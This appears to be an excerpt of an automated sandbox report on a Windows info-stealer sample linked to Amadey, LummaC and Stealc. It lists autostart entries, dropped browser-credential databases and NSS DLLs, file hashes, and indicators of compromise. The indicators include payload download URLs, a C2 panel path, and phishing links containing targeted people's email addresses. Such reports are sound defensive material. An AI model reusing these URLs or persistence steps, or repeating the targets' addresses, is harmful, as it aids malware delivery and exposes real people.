Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:29:23	API Interceptor	226x Sleep call for process: file.exe modified
09:30:02	API Interceptor	844x Sleep call for process: skotes.exe modified
09:30:47	API Interceptor	4x Sleep call for process: 0eb65aaf2f.exe modified
15:29:50	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
15:30:51	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 0eb65aaf2f.exe C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe
15:30:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8b4f365c71.exe C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkVision Rat, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
80.82.65.70	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
185.215.113.16	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkVision Rat, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkVision Rat, LummaC Stealer, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
plus.l.google.com	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.217.17.78
	https://sites.google.com/view/messageimportant09122024/accueil	Get hash	malicious	Unknown	Browse	74.125.21.100
	https://sites.google.com/view/messageimportant09122024/accueil	Get hash	malicious	Unknown	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, DCRat, DarkVision Rat, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	142.250.181.110

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	https://copilotse.blob.core.windows.net/$web/hgyxxxtrdfr76tfgfs821yhgh.html?sp=r&st=2024-12-08T12:55:44Z&se=2024-12-31T20:55:44Z&spr=https&sv=2022-11-02&sr=b&sig=7dYMitXSX9zEmg0mEsN7rfqS0sBAZEqtrbG4v8YyfsM%3D#robert.webber@phillyshipyard.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	jXN37dkptv.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	https://sendgb.com/vdRYC6Nal34?utm_medium=HlyZfLISdD8Bj1i	Get hash	malicious	Unknown	Browse	104.26.4.189
	https://reviewgustereports.com/	Get hash	malicious	CAPTCHA Scam ClickFix, XWorm	Browse	104.18.95.41
	https://jdjdhjh.uscourtdocuments.com/A3RjQ	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	rrats.exe	Get hash	malicious	AsyncRAT	Browse	172.67.19.24
	https://newkr-projectx.glitch.me/#brian.ruane@phillyshipyard.com&c=E,1,vVA-mg8r52Zblu_rhig7GFt2mCpLF9PVkeDHz-A9beseyk-7hG6M7GtCamglxWILhEciDIA3yPk4yeJAXNdlExpv1QvST_9_UAM_sKTiUoTphPpfNtY,&typo=1	Get hash	malicious	HTMLPhisher	Browse	104.21.26.223
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	https://app.droplet.io/form/yelEz0	Get hash	malicious	Unknown	Browse	104.18.16.155
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
INT-NETWORKSC	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	pSU7fuySjo.elf	Get hash	malicious	Mirai, Moobot	Browse	196.16.25.51
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	196.16.28.128
	file.exe	Get hash	malicious	Python Stealer, Amadey, Cryptbot, Monster Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse	89.248.174.171
	SecuriteInfo.com.Win64.Evo-gen.11830.19095.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	89.248.174.171
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	89.248.174.171
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	89.248.174.171
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse	89.248.174.171
	yrBA01LVo2.exe	Get hash	malicious	Wannacry	Browse	89.248.166.1
	http://n2asg643brq.whissives.monster	Get hash	malicious	Unknown	Browse	89.248.162.163
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	172.67.165.166
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	https://www.drvhub.net	Get hash	malicious	Unknown	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.165.166

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkVision Rat, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, DCRat, DarkVision Rat, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkVision Rat, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, DCRat, DarkVision Rat, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BGCBGCAFIIECBFIDHIJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBGDHJEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCFIJEBFCGDAAKFHIDBFIDBKFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCFIIIJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDGIEBGHDAEBGDGCFIID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HJDGHIJDGCBAAAAAFIJDAECGHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKKKFCFHCFIECBGDHID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
